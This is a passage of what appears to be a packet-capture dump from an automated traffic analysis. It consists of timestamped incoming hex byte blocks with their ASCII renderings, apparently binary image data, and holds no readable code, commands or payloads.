95 0d 55 9a df 03 be 88 21 ac 23 5c 72 e8 a8 84 1d ce d5 fa 8b ce fa 55 3d 7b 13 1b aa dc 51 f3 37 0e c7 72 3d e5 d4 95 c6 5a 39 0a 5e 69 70 ae c7 6f d9 6d 34 a7 dd c4 2f dc 7e 9f 66 a9 ab ae e4 91 66 df 45 34 f0 63 cd Data Ascii: mi.$XJp)}w!nITu'{06X8Yg8In[ #nB8g9,K+U*9Z?kY7gKu^BUn9n$Fz)o)qzl&vOmYf.m3U!#\rU={Q7r=Z9^ipom4/~ffE4c
2022-07-21 02:34:45 UTC	6940	IN	Data Raw: 4d 4d 69 23 31 80 24 20 fd 3b e9 d4 08 ef b9 a7 d1 a9 6b 12 fb b9 94 ce ab 0b da aa a0 bf d3 f5 35 af 0e 7f db 36 a2 77 6c ea bb 03 5b a9 4a d7 d9 e9 b7 5d 3c c7 99 fb ba f3 88 8f 63 ee a7 c7 5b 38 eb 29 01 0f 52 2b 4f 6d 75 5a 8b 4f 0c 3b 1e e9 16 a1 86 d5 e1 35 f5 e8 61 7a d0 a6 05 51 bd a3 6d c7 87 eb 68 29 e4 05 95 9b 75 f1 3e 03 e9 d0 78 d3 16 f0 22 a6 9b fe 8f d9 d0 92 b3 1e 25 06 83 d9 aa 6b 1d 83 1c 96 49 5a 94 24 ee 77 04 56 d6 f9 7e ad 02 d1 f3 32 51 99 8a 35 d5 14 df 6a fa 9b 4b 13 23 10 46 72 09 50 68 14 16 3f d5 ee fb fa 54 5b 81 11 47 1c c0 ad 08 0c 0e fe 9b 97 df d5 6a 83 cc 31 b3 17 21 54 9f 05 1f bd a7 aa e4 b2 85 da a6 9e 1a 2a ac 1f 1c c4 db 30 a1 af 81 f0 d2 45 d5 3c 7e fb 2a a2 e2 3b 06 8d 4d 44 66 9e c0 d1 f9 7e 2d 67 79 67 78 fc bb Data Ascii: MMi#1$ ;k56wl[J]<c[8)R+OmuZO;5azQmh)u>x"%kIZ$wV~2Q5jK#FrPh?T[Gj1!T0E<~;MDf~-gygx
2022-07-21 02:34:45 UTC	6956	IN	Data Raw: 69 f8 5b 93 dc d1 82 40 27 33 77 15 fc bc 08 24 ab 02 38 40 6a d3 93 ab cf fb 5c 7a ad 69 ce 72 d4 5d 97 2c 41 c5 6a 02 04 8a 19 d5 78 0f cb ea f1 1f 37 e1 f3 e8 aa bd c7 20 8a 58 dd 94 5a c6 c3 ba b7 e8 ba f5 7f 77 4b 0a d8 1f 6d c5 69 e5 69 e5 a3 22 29 a2 11 c0 05 1a ce 2f 54 6d c9 fb 7a 34 bb eb 3c 46 b3 b3 5b 32 98 e3 68 97 88 2a d0 f1 1a 5e ee dc b7 e9 4a 5c cc f2 bd da 5e 1c 1c 28 fa e1 ca 18 dd 91 07 0d 2a 2d 69 6e 93 d7 f7 52 7e 2e b0 eb cd 73 f7 b6 92 8b b6 e3 95 fc c4 e2 d8 45 43 98 db 7d 87 de a4 de 67 f7 34 e5 5d ea fa 81 63 29 8c 07 c6 8a 36 e9 91 68 66 22 f6 fc 48 23 7f b4 d5 aa f9 f6 ce 4f 72 b8 ae 5d 8a dc 45 12 c0 aa 78 3e d3 f3 16 5b 22 dd 77 37 1e aa 72 27 1f 84 ec 8c d5 30 b9 9d 55 e5 35 53 bf c3 6c 8a be ef ad 39 f5 5c c6 b3 9f 3e 07 Data Ascii: i[@'3w$8@j\zir],Ajx7 XZwKmii")/Tmz4<F[2h^J\^(-inR~.sEC}g4]c)6hf"H#Or]Ex>["w7r'0U5Sl9\>
2022-07-21 02:34:45 UTC	6972	IN	Data Raw: 3d 2f a9 c5 f3 59 6c e1 9b 13 2a 13 1b dc 36 00 b5 57 e0 ff 00 06 9e 63 64 a9 b1 4c 55 25 8b fd 20 fb 2b f1 6a e5 3b 86 a3 ec ca d7 20 66 66 04 02 29 4a 57 f7 b4 ed 4c ea 7e 4d cb db 71 55 3e 73 48 ee 16 82 9b 91 f0 af ff 00 4f 59 fd 17 59 3d 34 d1 c5 16 cd 20 65 24 74 c8 e1 25 ff 00 c5 eb d1 ed cf 5a 9e 52 54 44 68 6c 25 ab 5e 20 79 78 1b e2 e2 d4 b3 c1 27 ee 4a 15 a0 8c 35 ca aa aa ab e0 cd ea 5f e2 3f 15 fa 24 29 cf e4 3e de 46 5d 05 ab 1f 48 15 e2 06 ea 56 eb 74 75 15 7c 35 9e f3 f4 d8 42 a2 44 41 56 02 b7 78 f0 f0 7b 9a 5c c1 19 c4 7c 76 4e b9 52 19 10 31 a1 e0 2e e2 c7 e9 27 25 f1 a7 3d fe 7d 3b 0a cb e8 49 62 48 54 38 91 9a a1 4a 21 a0 3c 5c d2 dd cf a5 89 dd 2e e1 27 88 da 0f 51 09 61 e3 4a 9f 4f a3 4e 29 9c 43 96 af 74 00 81 41 b0 3e 07 cb fa cf Data Ascii: =/Yl*6WcdLU% +j; ff)JWL~MqU>sHOYY=4 e$t%ZRTDhl%^ yx'J5_?$)>F]HVtu\|5BDAVx{\\|vNR1.'%=};IbHT8J!<\.'QaJON)CtA>
2022-07-21 02:34:45 UTC	6980	IN	Data Raw: 4a 0e fa 65 2b 1c 31 75 19 c9 a2 46 2a 6a 3d 2b 1f ee 6a be 5b 4f d4 0e 53 e6 29 65 cb 06 2b b6 b6 5f 15 fc 3b bf c1 a7 22 fe 64 7a 0e dc cd 01 65 c8 56 77 24 80 a0 d3 d3 6f 3f cb d3 a2 df e8 e6 31 48 98 a2 48 cc d4 a5 88 0f ec 49 a3 35 9f 4e 87 7c 9c 59 21 07 a4 a3 7b 6b 40 6a 6e 7b d3 f1 3d 7a 31 9e 65 ff 00 53 b9 b3 c5 1a 86 c4 52 62 a8 ea 58 68 1d a9 e5 e6 e4 d2 9c 89 37 d9 57 5f 9f d7 8a ac c0 55 86 ca 37 fb 39 63 f5 dd 75 ff 00 2d 38 35 51 53 d6 30 b0 2b 12 72 64 00 48 47 8e ef fa af c9 aa 56 ff 00 0d fe 5e 14 66 a4 ed 1b a0 f0 a1 5a 9f 43 22 dc fc 6b a0 e5 fe 8f 5f 0e 5d d4 66 50 6a 00 27 86 be 79 9b cc bf 06 a7 0f 6c 2c 86 8a 04 81 c2 92 38 fd 8a 4f d9 ff 00 46 fa 9a ac 56 a8 61 45 24 ce 22 46 43 15 01 26 a5 6e b7 cb fe 66 a6 b3 eb a9 07 5c ac 58 Data Ascii: Je+1uF*j=+j[OS)e+_;"dzeVw$o?1HHI5N\|Y!{k@jn{=z1eSRbXh7W_U79cu-85QS0+rdHGV^fZC"k_]fPj'yl,8OFVaE$"FC&nf\X
2022-07-21 02:34:45 UTC	6996	IN	Data Raw: 78 a3 fb b5 7d d6 ef 8f d3 a2 d2 bd 47 26 7c 76 88 75 a3 8c 00 77 a6 c5 9b dd 92 3d 29 d0 9b f8 2b 95 86 d8 7c 88 6c 6a 5a f4 dc 57 cb 23 2e ae 55 ce be 8b 49 8c 50 51 78 8b 0a ff 00 8b 55 a3 44 c6 c8 e8 c0 62 a5 aa ed 52 d6 82 c4 af 2d ad cf 1f 37 1d 9a 28 b3 4e 45 33 2a b8 a2 98 82 f9 45 08 27 91 99 b5 15 9d 87 a5 9a 1c a4 0f 39 59 58 52 d5 a7 09 1f 7a ae df 89 a4 89 31 3d 61 c5 c3 61 34 71 f8 12 4a 93 76 de 5b 5f 85 f4 f7 5a ed be 12 bb a6 50 32 37 48 58 18 71 2f 8d 0f c5 ad 23 5e 79 2b 1b ec 54 9f 01 a6 aa 61 b1 a5 9e da f8 d0 53 fa b4 b5 3f 52 3c cb 1e 3b 74 ed b9 b6 17 13 4a 7d 4d 03 d8 ad 90 f3 04 8a 9b 82 7f a5 da 49 93 3c 9f 39 12 4d 58 a2 e1 ad 2a a3 94 9d 4a 24 fe 4a cb 92 49 e9 48 49 a7 e9 db ea ea 95 f2 de 1a 44 c0 06 6b 1b c2 b5 fd ed 4d 85 Data Ascii: x}G&\|vuw=)+\|ljZW#.UIPQxUDbR-7(NE3E'9YXRz1=aa4qJv[_ZP27HXq/#^y+TaS?R<;tJ}MI<9MXJ$JIHIDkM
2022-07-21 02:34:45 UTC	7012	IN	Data Raw: 83 f4 d3 d5 a1 55 47 21 80 14 64 a0 55 01 14 36 d5 f3 33 7a ef d4 b2 8e 34 f1 85 a3 ad d5 de be 04 53 c9 a6 31 8e b8 8f 65 14 5a 50 0f ef 6a 4f 1c 47 69 df 6a ef ff 00 8e 85 66 19 d8 00 0d 59 8d 6b ec d2 3c d6 e2 5e 01 45 1e 3e 3a 9b 5b 73 16 7b 44 f9 2b 2b 22 b1 e9 91 b1 de 83 58 76 f4 ff 00 f5 ad d7 d1 88 38 48 93 70 75 cb af 4e 17 58 ec 1c 3e cd 34 a5 e7 48 52 39 28 2a 69 50 7f ab 8b 5b 72 c6 ab 64 41 db 0f 79 92 6c d7 39 38 f9 d8 eb 90 91 81 f6 4f f2 d3 ce fc ff 00 6b d3 f4 6b d0 98 f0 bf 66 d9 e1 4e 1c 7e cf 03 4a 3b 6c 6b 8f 2c f1 cc 8e c4 15 14 65 2b 14 7e 6f be b1 b5 7a e6 cb f9 7e 4d db b1 f1 64 85 bf 3a f2 24 91 9b 42 2a d4 9d bf 62 c7 d4 da ea bb be 0e 26 06 34 78 ec 63 61 2b 1a 30 24 5a ea 38 ba 9c 1f ab ac ed 4f e5 f4 23 b2 cd 94 bd bd e3 74 Data Ascii: UG!dU63z4S1eZPjOGijfYk<^E>:[s{D++"Xv8HpuNX>4HR9(iP[rdAyl98OkkfN~J;lk,e+~oz~Md:$Bb&4xca+0$Z8O#t
2022-07-21 02:34:45 UTC	7020	IN	Data Raw: 35 6b b6 00 6d bf 9b 4e 8f cb d1 e3 09 a6 0f 71 a1 42 c0 53 72 a9 ea fd cd 21 6e 40 67 cb 33 fc b4 04 2a 12 4d 3f 49 e6 d5 45 49 8d f6 dc b5 c4 97 a9 26 ca 8d 50 45 0d 3f 13 81 b9 b8 79 34 ac d4 f5 ce c2 1d 42 c4 bb 12 4d 49 3f db aa 91 a6 34 28 ca 4e f4 fe bd 32 f4 c5 c7 c2 9b 7b 4e 99 b7 f9 76 2a 24 07 87 c3 c7 c0 fb da 43 45 8a 36 46 a1 a1 ae c3 7d 04 71 f1 a7 b7 a8 22 2a aa bc 46 9b 78 db 75 df 16 a3 53 a0 c3 1b 4c f4 f0 24 d0 7f 5e 8d 3b e0 69 30 bf 2e 4c 72 31 bd 76 21 4d 00 a7 bd e7 bb 48 7d 6b 68 16 59 37 07 a6 77 df 62 d5 e1 e3 6d 23 31 88 f8 b2 48 20 92 aa a4 fb 4f 81 d2 a8 ea 59 e5 de e1 2d d5 e8 6f 67 05 45 7c 17 87 cd cd a0 b9 2f 02 c9 37 cb 88 d4 b0 a1 1e d1 ef 70 e8 16 e7 b7 a6 c1 45 67 bd 19 82 8d 9b f4 f9 be b6 89 44 e9 a8 1b 16 88 e1 09 Data Ascii: 5kmNqBSr!n@g3M?IEI&PE?y4BMI?4(N2{Nv$CE6F}q"*FxuSL$^;i0.Lr1v!MH}khY7wbm#1H OY-ogE\|/7pEgD
2022-07-21 02:34:45 UTC	7036	IN	Data Raw: c0 79 64 2e d0 ca 0a da cc ea c6 88 62 51 c4 9d 39 5a d9 df dc fd 4d 43 2b 11 fa aa 09 68 c0 a3 56 df d0 3d d5 d5 35 c7 6d 8a 46 56 90 5a ac 68 4a 8a db f5 35 41 94 c8 64 5e 90 35 8f c3 70 35 37 93 bc e9 f8 bb 8b bb 0e a9 ac 44 5b c5 bf b3 83 53 8c ef 38 1c e6 f3 42 2a 89 b2 ff 00 87 44 80 94 66 25 96 f1 41 69 a8 53 b8 a8 f8 b5 4b bb 8a 32 f7 b9 32 d0 5c b1 87 5a 90 e1 42 9a 7e 1a f4 ed d4 e3 3f 8c 19 5f 0f b8 c5 2e 66 61 27 22 31 1d b1 a9 11 75 47 23 bd f6 bd f2 e8 85 97 9f 10 71 da 8e 64 05 f1 c2 83 18 2c 6e 70 28 29 77 4a ff 00 bd 96 4d 2d 4f d6 5f 20 76 c9 23 e4 c8 c7 ea 45 e2 e5 97 88 7f 91 27 07 16 a6 d5 75 fd 2a fc fd c7 14 90 5f 16 39 62 ae e2 68 d5 66 02 96 f5 20 68 7e 5d a9 cd ef ea 27 86 53 9c fc a4 e3 8c 29 a5 a6 61 73 8c 58 16 da 9c 23 cd 17 Data Ascii: yd.bQ9ZMC+hV=5mFVZhJ5Ad^5p57D[S8BDf%AiSK22\ZB~?_.fa'"1uG#qd,np()wJM-O_ v#E'u_9bhf h~]'S)asX#
2022-07-21 02:34:45 UTC	7052	IN	Data Raw: e9 69 f2 55 be f3 ed 34 af 4c be a9 ac 6c 98 71 32 97 23 2e 59 7f 35 50 03 b2 55 55 ad e9 45 7c 0b f6 c8 ba 84 e6 cc 9f e0 21 dc 30 66 c4 07 2b 2a 68 cb ca e6 a2 36 0c c3 f1 64 9e 25 e4 bd be eb 57 23 59 77 c4 71 32 55 91 c6 00 0a a4 14 0e 41 ea 49 72 bf 56 6b ff 00 fa 7a 57 c5 4e 7f a9 ec 21 1f 6d 88 a1 74 9c ba 46 5d 0a 12 4b 30 6b a2 82 5f b8 96 0f 5e 8b 47 5f dd ff 00 d7 ff 00 86 66 2e e2 98 ca 95 92 92 f4 c7 2d 08 51 e9 67 f3 3f 4f 59 de 75 17 9d 6a 58 b0 f2 a4 92 d2 3a 85 6f 47 4e 16 aa db f2 fe 67 07 cb 4f 4f 3e 8f 30 fc c1 30 70 5f a2 0e 19 94 02 d7 cc 41 08 28 2f 64 87 1d 9b e5 c8 dc 97 69 fd 0e ba 9b e5 8c a1 1e 36 22 e7 46 a2 69 8b 6e 45 10 c6 89 cb 2a 7d a2 af 55 f8 e5 7f f2 f5 5c dd 39 e6 e3 3d cf 23 1f b8 e2 07 c7 a4 4e d4 41 16 e5 dc fd a3 Data Ascii: iU4Llq2#.Y5PUUE\|!0f+h6d%W#Ywq2UAIrVkzWN!mtF]K0k_^G_f.-Qg?OYujX:oGNgOO>00p_A(/di6"FinE}U\9=#NA
2022-07-21 02:34:45 UTC	7060	IN	Data Raw: 3c cc e4 59 ba 72 93 30 b4 32 d4 dc a7 cb cb e4 5f 73 c9 a1 97 9b e4 0e e6 ca 7e dc 98 dd 4a 85 36 52 b5 37 47 6a a7 9f 9f a9 ee 69 c8 72 54 79 63 eb cc b0 57 f2 cc 58 37 51 cd c8 41 1c 1d 3b 7f 7b 5a e4 46 fe 7f c4 ab 8b d2 c9 92 26 70 e2 ce 59 55 47 cc f3 71 2f 0f 2c 9a ca b3 fc 1d 9a 58 4c 8d 3b a3 20 8b 60 a4 32 de ed c8 8d f1 6a 12 8d 93 f6 ef 13 4a 5d 48 bf a6 a4 23 11 e6 79 3f 11 15 b5 af 3c ab 7c 69 68 f1 a7 cf 88 66 d5 a9 19 65 2a a4 54 1a 2a c7 c1 cf 6c bc 7f a9 aa f4 2d cf 0a 70 60 ae 36 3c 71 b4 61 be 65 c0 8e 27 7a da fd 37 7f b3 4b 75 16 a3 eb 69 6e e7 96 c8 c5 80 8d 28 5a 86 eb a4 b7 cb c1 f7 7d 3d 54 3e 26 a5 c7 23 43 44 56 50 12 8c cd 53 bf c3 eb b2 ee 3d 6d 1a 5f 2c 3e 46 3e 48 22 68 d0 ab 1b 84 a2 bd 4f 47 1d 8d cb ee 49 a7 87 96 03 d2 Data Ascii: <Yr02_s~J6R7GjirTycWX7QA;{ZF&pYUGq/,XL; `2jJ]H#y?<\|ihfeTl-p`6<qae'z7Kuin(Z}=T>&#CDVPS=m_,>F>H"hOGI
2022-07-21 02:34:45 UTC	7076	IN	Data Raw: c3 93 16 92 8a 58 d5 a1 1f e0 d5 45 ce b5 87 82 c6 46 52 1b 6a 9b 87 b7 54 72 8f db bb 84 38 6c 5a 48 dd dc 1d 80 60 ab 4f d4 7d 2a 5d 73 a7 f2 bb 86 06 5c 6a 44 26 39 bc 6a 08 65 1b f3 48 d6 5f 25 ff 00 b1 a9 65 39 b0 9e 51 47 7f cc 31 16 9f 00 05 3c 35 4b e7 f8 13 2b be 19 f1 86 2a a8 48 d5 aa 7f 4f fc ba 58 39 e3 2e 84 fd 59 a2 0a 1a e4 50 59 45 2e 00 fc 3a 67 e9 19 8f 15 5b c7 c7 55 1b 0f 02 b4 8a cc b1 17 44 17 48 ca 0f 0a f2 f1 3f 2c 7a 65 4d 45 35 b1 8e 92 8b 77 a9 14 bb e1 6b f5 28 b0 26 bc 02 d2 00 18 f2 d7 e8 d0 66 30 b1 10 c4 d3 34 a2 e3 b1 41 b9 1e f3 6a 6a 7a be 70 dc 39 4f 2c 85 a4 0a e6 d0 01 22 b4 03 97 59 a2 f3 20 19 6f 6a dc c0 0a fb 01 ff 00 e9 fa 75 51 5c f9 28 26 65 20 8d 88 de ba a5 d8 60 cd 75 1d 09 0d ed 3a 9b 10 3e 57 e7 fb a8 59 Data Ascii: XEFRjTr8lZH`O}]s\jD&9jeH_%e9QG1<5K+HOX9.YPYE.:g[UDH?,zeME5wk(&f04Ajjzp9O,"Y ojuQ\(&e `u:>WY
2022-07-21 02:34:45 UTC	7092	IN	Data Raw: 1f a3 4d 66 1f 70 0c 95 08 05 00 1e 3a 09 6f b1 64 2c d2 2a 9d 8a 46 ca 1f 62 4a 11 6b 40 c8 ff 00 69 ee 6b 2e 98 7e c8 56 54 ff 00 6e c9 66 84 dc 01 b4 91 b7 09 f2 7e ae 88 be 6f d4 0b 20 01 21 1e 00 11 46 f0 a8 f5 6a 89 92 e4 9e 9a 12 41 04 57 c7 db a4 78 26 5c ff 00 92 8e 38 e2 e6 6e 37 27 7e 61 65 9f b3 aa 87 cf 92 f0 b4 72 10 a2 e0 e0 56 cf 05 61 e4 e9 69 d8 74 7e b1 65 16 a8 6a 7b 0f b3 59 a3 31 e2 59 8a ac a0 01 ed a7 86 82 ff 00 a0 19 98 88 47 51 3c 40 a1 d3 9d 1f 3d 27 86 a9 21 0d 08 15 00 78 7b da d5 b3 62 a4 83 e1 e2 6b ed d2 23 c8 d6 a3 0b 8b 8a 8a 57 e8 d4 b3 a1 ca 1a 22 dd 3a d8 d4 07 f4 69 c1 2e 96 a9 bb c7 71 aa 6a 34 4c fb a6 f4 1b d2 ba 8a 8a 34 8b 79 ba 31 46 3f 47 b3 48 a7 f5 10 12 82 b5 a9 03 7a 68 26 d5 0d 8d 20 40 4d 48 6a fe 9d 00 Data Ascii: Mfp:od,*FbJk@ik.~VTnf~o !FjAWx&\8n7'~aerVait~ej{Y1YGQ<@='!x{bk#W":i.qj4L4y1F?GHzh& @MHj
2022-07-21 02:34:45 UTC	7099	IN	Data Raw: 17 6f 93 1c 31 f3 74 bd 77 be 89 0a 72 9c f9 92 a1 69 27 2b 24 cd 51 6d 3e 5a 02 3a 7f 66 bf 2f e0 d5 d6 d3 97 b1 7b 5f 58 a3 e3 35 aa c0 54 96 f0 6f bc 7e 1f 26 a6 dc 74 73 37 db e9 b0 7b 7c 4c ac 1c ab 2c 61 6a fc aa 48 e1 d6 1d 57 6f eb e2 3e 83 0f 21 7a 05 ea a5 10 ee de 2b b6 b9 de 94 16 19 61 65 ac 24 6f e3 41 a4 d2 3a 03 1f 67 09 3a 0e 94 ca 20 83 ec df 5a 72 8e a9 7b 15 c8 65 f6 78 ea 91 1b 06 d2 58 6d b5 0e 92 d8 e6 f0 34 27 48 3b 32 03 6e db d4 d4 9d 04 72 2c 74 60 55 8d 3d b5 1f 4e 84 51 67 56 8a 16 25 8d 08 34 fd 3a 22 52 61 57 16 dc 6a 29 5d 5d 54 38 a4 18 ba 62 9b 6f be b3 6b 08 65 e5 0c 7c 79 1d 9c 0a 03 b1 1f 57 85 35 52 68 bd 64 d7 cf 62 53 ae f1 44 ea cc 48 29 40 77 db cd ef 6b a1 e6 40 25 65 c4 cc 0b 35 4a 0d 9d 80 e2 0c c3 8a c5 7f 46 Data Ascii: o1twri'+$Qm>Z:f/{_X5To~&ts7{\|L,ajHWo>!z+ae$oA:g: Zr{exXm4'H;2nr,t`U=NQgV%4:"RaWj)]]T8boke\|yW5RhdbSDH)@wk@%e5JF
2022-07-21 02:34:45 UTC	7115	IN	Data Raw: 19 37 a0 27 89 81 f8 35 50 f9 92 03 8c c9 32 32 be f5 17 6f ee 83 d4 5d 22 eb c0 d3 ac 38 76 c9 0b 96 14 0c a4 8d 81 e6 78 fe a6 91 4d be ca 9c 9c 92 82 48 c9 4b 89 01 81 dd ad fb 4f 7b cd ab 8b c9 2b b0 c1 36 69 43 23 31 b5 4d c5 89 60 82 bc df 02 68 3b 64 55 c6 c8 c8 c7 73 80 b3 2c d0 a5 d3 21 a8 b0 6d f3 1f 1f a9 c6 92 37 e1 7e 26 a6 b3 be 66 85 f9 7c 79 e2 39 2f 25 92 39 e1 8e a1 8b 6f f5 3a 56 fb fa 81 b6 78 2f 8d 06 36 60 31 b8 61 2a 54 de a4 d4 8f 2c 36 72 7e a6 af 71 56 d8 66 7c 05 94 39 c3 8f 81 4a 46 51 f6 96 b6 dc d9 1c 56 73 f4 ff 00 e4 d2 d2 9d 7f 21 a6 23 4b 8e 65 84 34 86 25 e2 00 78 12 dc 09 ef e8 d3 b7 cb b3 e3 4b db 41 8b 31 07 53 6f 68 64 ab 8e a2 f5 6c e6 92 3f 46 a8 7b f4 ee 30 ca 95 4c 71 08 6d 62 16 ac a0 0a fb bf 02 e8 2b 83 ae 3c Data Ascii: 7'5P22o]"8vxMHKO{+6iC#1M`h;dUs,!m7~&f\|y9/%9o:Vx/6`1a*T,6r~qVf\|9JFQVs!#Ke4%xKA1Sohdl?F{0Lqmb+<
2022-07-21 02:34:45 UTC	7131	IN	Data Raw: 6f c5 1a 3b f2 70 7e be a2 b2 af 67 4b 59 41 56 36 2a 98 58 f8 d4 29 6e 2e 9f bf 1e 82 8f 37 73 39 b0 c7 13 b3 48 d0 d4 44 a3 85 94 13 e6 b5 79 6d fb 3d 18 3e 70 1e e9 87 94 31 d2 57 b8 bb 92 28 7c 56 cf db b5 35 5c 9f 1d 40 9f b2 65 42 25 39 bd 32 e0 07 5e 31 c5 4b 5e ef 7e 3b 3d 1a bd c3 fb 97 d3 ab 98 a1 cb c6 ad 19 2a 69 bd d4 bb 85 9a fe 1e 0f 46 a2 96 7f 23 67 46 72 63 86 69 a5 ab ba bd db 86 60 88 b7 c6 d6 af e3 db 22 f1 e9 c8 53 c6 96 fc ab c9 8b 2c 98 c8 eb 1d 2a cc c3 9d 2e 4b 2c 6b 75 5a bd f3 e4 0c e4 9e 21 11 76 36 8a 5a d4 e1 5f 77 cd 76 81 cd 83 40 d9 9d 79 1b 0a b2 48 a5 52 a8 3c 6e 3c 2b f5 fc 9a 63 c7 e4 f6 54 d9 30 b0 85 8f cf 56 e2 08 b7 32 d3 f6 19 bc fa ca a2 63 d9 2c 93 ce b3 2d ca c1 42 87 aa 96 34 e6 69 fd fd 1a 27 88 0c f9 11 e4 Data Ascii: o;p~gKYAV6X)n.7s9HDym=>p1W(\|V5\@eB%92^1K^~;=iF#gFrci`"S,*.K,kuZ!v6Z_wv@yHR<n<+cT0V2c,-B4i'
2022-07-21 02:34:45 UTC	7137	IN	Data Raw: a2 9b 1e 5b 99 bd de 3d 2d 67 f5 6b c6 59 a4 43 14 ae fd 21 25 78 b8 ad f8 3f c1 a3 47 fd 02 89 62 69 da 34 14 8d b6 5a fb 03 b2 a5 df 51 74 69 f9 c6 ce 58 6e b9 00 05 91 ad 07 dd 0d f2 ff 00 61 34 86 66 26 3c d4 a0 00 02 a4 11 4f d0 75 4b 91 44 39 71 27 58 d4 c8 6a 5b c7 9b 89 9f 49 95 02 6a 8b 56 21 c2 0e c3 d9 4f 33 4b a7 17 cb 31 c5 1c 51 4f 23 82 b7 2a 74 fe 93 c6 bc ba 67 af 2e 1c cc bd 69 40 11 03 68 dc 02 4f c3 a0 7d 0a 9d be e4 7c 90 9c 0b 45 02 be 63 fe 1e 7d 4d a9 fa fc 00 f1 48 b3 2a c9 1b 86 5d c0 23 4f 55 a6 97 1e 28 cf ce 15 8d f7 da a3 db c5 c5 a4 9d df 45 ec a3 82 cb 74 65 c2 8a f8 91 e9 6d 38 a6 f2 72 06 26 2c 61 6a 24 32 16 04 78 85 a5 8c be f7 93 55 0a 4d a9 e2 56 65 aa 00 52 bb 9f 02 34 da 60 90 65 e4 2b dc 1b 87 61 b6 d5 d2 b1 37 98 Data Ascii: [=-gkYC!%x?Gbi4ZQtiXna4f&<OuKD9q'Xj[IjV!O3K1QO#tg.i@hO}\|Ec}MH]#OU(Etem8r&,aj$2xUMVeR4`e+a7
2022-07-21 02:34:45 UTC	7153	IN	Data Raw: 8c 1b 79 6b bf fc da 78 d2 79 71 9c 25 03 16 60 08 f1 1b 50 f1 fd 5d 56 1c f2 24 71 f5 65 e9 c0 18 13 75 82 bf d3 cb a4 56 f8 f2 d1 0b 8d 12 2a 9b 8d 49 65 51 ba b7 27 13 3f 0e 8d 2f 66 a5 91 21 53 8e db 3a b0 a8 3e a5 ff 00 0b 5f a9 a9 fe a0 cb 32 4f b8 22 e2 dc 24 8b 55 a9 e7 66 e7 5d 3c 3c c2 af 99 18 0d 45 0a 08 20 da 4e cc 4f 37 16 ab 0f e5 ac 68 d5 d6 b2 b1 f9 66 8c 29 b2 af 37 f4 5d 2a 9b fd 05 35 21 dd 0a d5 40 60 29 40 cb e9 d0 73 fa 9b 5a 46 51 b1 a8 cc d4 2f 19 14 a6 d7 fd a7 a7 9e fd 2c 2f fa bd db 66 5c 79 19 e4 62 4a d5 40 af d3 c7 0f 51 fc ff 00 37 a7 a5 60 be 7d 04 3a 73 e4 b7 e6 fe 44 6c 5a a5 45 d4 a8 e0 fa ac fa 0f f1 e1 89 6b 03 2c ca b1 8d 81 70 08 23 c6 df b3 e6 e2 f4 69 c1 ec ac b3 2b 4a cb 08 aa b0 3e 03 e9 e6 d5 2f 3c 03 d7 5e 95 Data Ascii: ykxyq%`P]V$qeuVIeQ'?/f!S:>_2O"$Uf]<<E NO7hf)7]5!@`)@sZFQ/,/f\ybJ@Q7`}:sDlZEk,p#i+J>/<^
2022-07-21 02:34:45 UTC	7169	IN	Data Raw: a5 97 78 de 57 6f b0 90 a6 e1 f4 fd 3a 13 3a 57 ed f2 43 dd 61 ff 00 67 ee 6f 46 1f 61 2b 7d db 79 78 bf 09 be f5 7e be a7 d2 2f f6 df ae 48 61 63 e6 62 0c 8c 49 cb 25 1d 52 48 fc 41 65 37 ff 00 75 34 ea fa b2 e6 1d cc c8 49 22 e9 ca 81 08 2c 6f 51 f4 8e 15 b3 53 18 f3 ca 24 90 da a1 50 dc 0f b4 6a db b5 7a 37 04 e0 b2 0f 0f 52 fc 1f e0 d5 1c af 26 1c 31 cd d7 98 b3 45 5b 94 af 99 bc b1 fa d3 4a d5 7d 7e 22 8e 47 69 6e fb 98 27 9a 5e 9b 38 17 70 f8 d3 d3 f5 3d 7a cf ef e6 33 9d fc cc 1e 7f e5 b4 c0 99 b1 b1 cf 13 27 03 c8 6c 2f 5e 74 4f 2e 97 3d e9 4f db f5 36 a5 41 34 f8 53 7e 5e db 42 a9 47 5a 03 78 6e 6b fd 5e e6 b4 c6 b7 2f 95 38 e6 c2 c5 85 83 99 11 99 68 2d 1e 0d ea 97 a9 67 cb 6f e1 ea 31 9e 5a 43 b8 42 b8 d8 a4 c6 95 41 42 1e ef da b7 fc 7a b8 be Data Ascii: xWo::WCagoFa+}yx~/HacbI%RHAe7u4I",oQS$Pjz7R&1E[J}~"Gin'^8p=z3'l/^tO.=O6A4S~^BGZxnk^/8h-go1ZCBABz
2022-07-21 02:34:45 UTC	7175	IN	Data Raw: 2e aa 69 17 52 fa 23 93 9c 5c b3 98 90 75 08 14 0a 4d b6 f9 fd d7 f7 b4 ce 73 86 17 39 e5 96 3c 98 d6 e9 51 ab c2 b5 bc f9 1b a5 ee 3e 84 fc e7 82 e0 49 8f 2b 24 e9 79 51 c5 ed 61 70 ea 71 3a 7c 49 a1 a4 cb 3c 3a 66 61 8b 4c 85 3c 72 5d 69 f1 b8 7d ef fa 9c 69 a7 06 79 f0 14 13 ab e3 48 10 16 c9 ea c6 b0 fa 90 7c c7 75 8e df 3b fc b8 f5 6a cc aa 6e b3 64 db 06 59 b3 25 55 a4 7d fe d3 7f 97 1d dc 9d 4d 45 f0 cf c7 b8 5b 13 f9 6d d9 2a f3 2e 3c 8d c4 a0 9b 98 af 99 7e 5f de 7d 7d 1f 67 7f 61 96 c6 30 e3 b4 31 b5 dd 75 4b 24 3b 82 56 cc a8 51 ee f7 35 3a 52 f9 ff 00 b5 9c a9 ce 36 50 20 87 68 5d 18 33 52 d6 e5 7b 64 d1 04 9b 09 64 e4 a0 c9 70 54 2c 2b 23 da aa 46 c2 eb b8 59 79 f5 6a c2 ed 30 8d 99 19 41 62 41 a9 f1 f7 53 41 c8 a5 09 41 8e 64 9c 00 41 02 94 Data Ascii: .iR#\uMs9<Q>I+$yQapq:\|I<:faL<r]i}iyH\|u;jndY%U}ME[m*.<~_}}ga01uK$;VQ5:R6P h]3R{ddpT,+#FYyj0AbASAAdA
